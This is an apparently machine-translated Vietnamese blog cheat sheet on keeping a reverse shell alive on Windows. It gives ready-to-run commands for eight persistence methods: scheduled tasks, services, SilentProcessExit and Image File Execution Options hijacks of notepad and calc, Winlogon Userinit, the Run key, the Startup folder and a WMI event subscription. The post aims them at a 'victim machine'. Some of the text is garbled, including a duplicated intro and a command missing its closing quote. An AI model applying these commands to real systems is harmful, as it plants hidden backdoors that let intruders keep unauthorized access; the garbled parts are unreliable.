Windows Persistence CheatSheet

Mar 03 2023
Giới thiệu Chào mừng bạn đến với bài viết mới này, ở đây bạn sẽ có một CheatSheet để duy trì sự bền bỉ trong hệ thống Windows, ở đây chúng ta sẽ xem nhiều cách để làm điều đó và cuối cùng tôi sẽ tạo một công cụ để tự động hóa tất cả những điều này do tôi tạo ra trong C ++. Kiên trì là gì? Tính bền bỉ bao gồm các kỹ thuật mà kẻ thù sử dụng để giữ quyền truy cập vào hệ thống trong các lần khởi động lại, thay đổi thông tin đăng nhập và các sự cố gián đoạn khác có thể cắt quyền truy cập của chúng.

Giới thiệu

Chào mừng bạn đến với bài viết mới này, ở đây bạn sẽ có một CheatSheet để duy trì sự bền bỉ trong hệ thống Windows, ở đây chúng ta sẽ xem nhiều cách để làm điều đó và cuối cùng tôi sẽ tạo một công cụ để tự động hóa tất cả những điều này do tôi tạo ra trong C++.

Kiên trì là gì?

Tính bền bỉ bao gồm các kỹ thuật mà kẻ thù sử dụng để giữ quyền truy cập vào hệ thống trong các lần khởi động lại, thay đổi thông tin đăng nhập và các lần gián đoạn khác có thể cắt quyền truy cập của chúng. Các kỹ thuật được sử dụng để duy trì sự bền bỉ bao gồm mọi thay đổi về quyền truy cập, hành động hoặc cấu hình cho phép chúng duy trì chỗ đứng trên hệ thống, chẳng hạn như thay thế hoặc chiếm quyền điều khiển mã hợp pháp hoặc thêm mã khởi động.

Đây sẽ là định nghĩa chính xác nhất, nhưng theo cách nói của tôi, về cơ bản, tính kiên trì cho phép bạn tiếp tục có quyền truy cập hoặc có thể tiếp tục hoạt động trên máy nạn nhân bất cứ lúc nào, ngay cả sau khi tắt máy tính, chúng tôi sẽ nhận lại trình bao của mình mà không cần tái nhiễm thiết bị nạn nhân.

Mục lục

  • Nhiệm vụ theo lịch trình
  • Dịch vụ
  • Đóng ứng dụng
  • Mở chương trình
  • WinĐăng nhập
  • Chạy đăng ký
  • Thư mục khởi động
    WMIC

Nhiệm vụ theo lịch trình:

Các tác vụ theo lịch trình là một trong những cách đơn giản nhất để đạt được sự bền bỉ, vấn đề là người dùng dễ dàng khám phá hơn nhiều, nhưng một người dùng đơn giản thường không nhận thấy điều này.

Để tạo cái này, tôi cần sử dụng scht task:

Để tạo nhiệm vụ mới:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

      
                

Các dịch vụ Windows là các thành phần cốt lõi của hệ điều hành quản lý mọi thứ từ quản lý bộ nhớ và thiết bị đến quản lý các ứng dụng của bên thứ ba cũng như thông tin xác thực và tùy chọn của người dùng, giống như trình nền Unix.

POC:

Để bắt đầu, chúng ta cần phiên bản powershell:

Và bây giờ tôi tạo dịch vụ mới, với khởi động tự động , dịch vụ này thực thi nhị phân được chỉ định trong BinaryPathName:

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

      
                

sc start s12

      
                

Cách tiếp theo là cách yêu thích của tôi, cách này cho phép bạn thực thi mã nhị phân của mình khi người dùng đóng bất kỳ quy trình hoặc mã nhị phân đã xác định nào. Trong trường hợp này, tôi tạo một trình bao đảo ngược khi người dùng hoàn thành quá trình notepad.exe .

Để làm được điều này chúng ta cần thực hiện 3 câu lệnh trong cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

Khi tôi tự động đóng notepad, tôi nhận được shell ngược

Mở chương trình:

Cách tiếp theo là cách yêu thích thứ hai của tôi, cách này cho phép bạn thực thi tệp nhị phân của mình khi người dùng mở bất kỳ quy trình hoặc tệp nhị phân đã xác định nào. Trong trường hợp này, tôi tạo một trình bao đảo ngược khi người dùng mở quy trình calc.exe .

Để làm được điều này chúng ta cần thực hiện 2 lệnh trong cmd:

copy calc.exe _calc.exe

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

Khi người dùng mở máy tính, tôi nhận được kết nối vỏ ngược.

WinĐăng nhập:

Winlogon là một thành phần Windows xử lý các hoạt động khác nhau như Đăng nhập, Đăng xuất, tải hồ sơ người dùng trong quá trình xác thực, tắt máy, màn hình khóa, v.v. Loại hành vi này được quản lý bởi sổ đăng ký xác định quá trình nào sẽ bắt đầu trong quá trình đăng nhập Windows. Từ quan điểm của đội đỏ, những sự kiện này có thể là yếu tố kích hoạt sẽ thực thi một tải trọng tùy ý để duy trì sự bền bỉ.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

      
                

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

      
                

Khóa đăng ký đã được sửa đổi!

Chạy đăng ký

Sổ đăng ký là cơ sở dữ liệu phân cấp chứa dữ liệu quan trọng đối với hoạt động của Windows cũng như các ứng dụng và dịch vụ chạy trên Windows. Dữ liệu được cấu trúc ở dạng cây. Mỗi nút trong cây được gọi là một khóa . Mỗi khóa có thể chứa cả khóa con và mục nhập dữ liệu được gọi là giá trị.

POC:

Trong trường hợp này, đã đến lúc sử dụng Run Register, thanh ghi này là một trong những thứ quan trọng nhất trong hệ thống Windows, nhưng trong trường hợp này bạn có lợi thế hơn, bạn không cần quyền Quản trị viên để thực hiện điều này:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

      
                

Thư mục khởi động

Sau khi khởi động lại hoặc người dùng đăng nhập, hệ điều hành Windows sẽ thực thi các tệp thực thi tồn tại trong đường dẫn được sử dụng tới Thư mục khởi động thông thường là:

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

      
                

Công cụ quản lý Windows (WMI) cho phép quản trị viên hệ thống thực hiện các tác vụ cục bộ và từ xa. Từ quan điểm của đội đỏ, WMI có thể được sử dụng để thực hiện một số hoạt động như chuyển động ngang, kiên trì, nhận thức tình huống, thực thi mã và dưới dạng lệnh và kiểm soát (C2). Thực tế là WMI là một phần của Windows tồn tại trong hầu hết tất cả các hệ điều hành windows (Windows 98- Windows 10) cho phép các hoạt động tấn công này nằm ngoài tầm ngắm của đội xanh.

Tệp thực thi sẽ trả về phiên shell ngược trong vòng 60 giây sau mỗi lần khởi động lại.

Trong trường hợp này tôi cần thực hiện 3 lệnh:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

Cho đến bài viết hôm nay, CheatSheet này tôi tin rằng nó đã rất tốt và nó sẽ rất hữu ích, ngoài ra tôi đang tạo một công cụ với C++ để tự động hóa tất cả những điều này. Hãy chú ý đến Github của tôi.

Cảm ơn đã đọc cái này :)

S12.